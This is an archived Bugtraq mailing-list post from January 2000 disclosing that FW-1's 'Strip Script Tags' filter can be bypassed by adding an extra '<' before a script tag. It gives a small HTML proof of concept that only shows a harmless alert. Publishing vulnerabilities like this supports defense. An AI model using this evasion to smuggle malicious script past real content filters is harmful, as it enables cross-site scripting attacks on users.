[13606] in bugtraq
"Strip Script Tags" in FW-1 can be circumvented
daemon@ATHENA.MIT.EDU (Arne Vidstrom)
Mon Jan 31 13:52:07 2000
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <JKEHIOKGPMHGBMCCADAIMEMHCAAA.arne.vidstrom@ntsecurity.nu>
Date: Sat, 29 Jan 2000 14:51:46 +0100
Reply-To: Arne Vidstrom <arne.vidstrom@NTSECURITY.NU>
From: Arne Vidstrom <arne.vidstrom@NTSECURITY.NU>
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
Hi all,
The "Strip Script Tags" in FW-1 can be circumvented by adding an extra <
before the <SCRIPT> tag like in this code:
<HTML>
<HEAD>
<<SCRIPT LANGUAGE="JavaScript">
alert("hello world")
</SCRIPT>
</HEAD>
<BODY>
test
</BODY>
</HTML>
This code will pass unchanged, and still execute in both Navigator and
Explorer. I tried this on version 3.0 of FW-1 (on Windows NT 4.0) but I'm
not able to check it on version 4.0 since I don't have access to it.
/Arne Vidstrom
http://ntsecurity.nu
